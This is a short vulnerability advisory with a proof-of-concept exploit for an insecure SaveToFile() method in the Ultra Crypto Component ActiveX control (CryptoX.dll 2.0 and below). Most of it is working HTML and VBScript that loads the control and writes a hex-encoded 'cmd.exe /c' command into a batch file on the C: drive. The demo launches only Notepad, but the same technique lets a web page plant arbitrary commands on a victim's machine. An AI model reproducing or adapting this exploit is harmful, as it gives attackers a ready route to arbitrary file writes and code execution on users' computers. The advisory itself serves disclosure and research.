Ultra Cryto Component suffers from an insecure method vulnerability in CryptoX.dll versions 2.0 and below in the SaveToFile() function.
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<b>Ultra Crypto Component (CryptoX.dll <= 2.0) "SaveToFile()" Inscure Method</b>
url: http://www.ultrashareware.com/
author: shinnai
mail: shinnai[at]autistici[dot]org
site: http://shinnai.altervista.org
This was written for educational purpose. Use it at your own risk.
Author will be not responsible for any damage.
Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
all software that use this ocx are vulnerable to this exploits.
<b>We can use the "HexString()" method to save into our batch file some lines.
In this PoC, I convert "cmd.exe /c notepad.exe" in hexadecimal format, then
I save it in a batch file :)</b>
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<object classid='clsid:FD22F3AE-1450-4BDC-ADBE-6AF210A78C2C' id='test'></object>
<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">
<script language='vbscript'>
Sub tryMe
Dim MyMsg
test.HexString = "636D642E657865202F63206E6F74657061642E657865" 'cmd.exe /c notepad.exe
test.SaveToFile "c:\shinnai.bat"
MyMsg = MsgBox("Exploit completed!")
End Sub
</script>
</span></span>
</code></pre>
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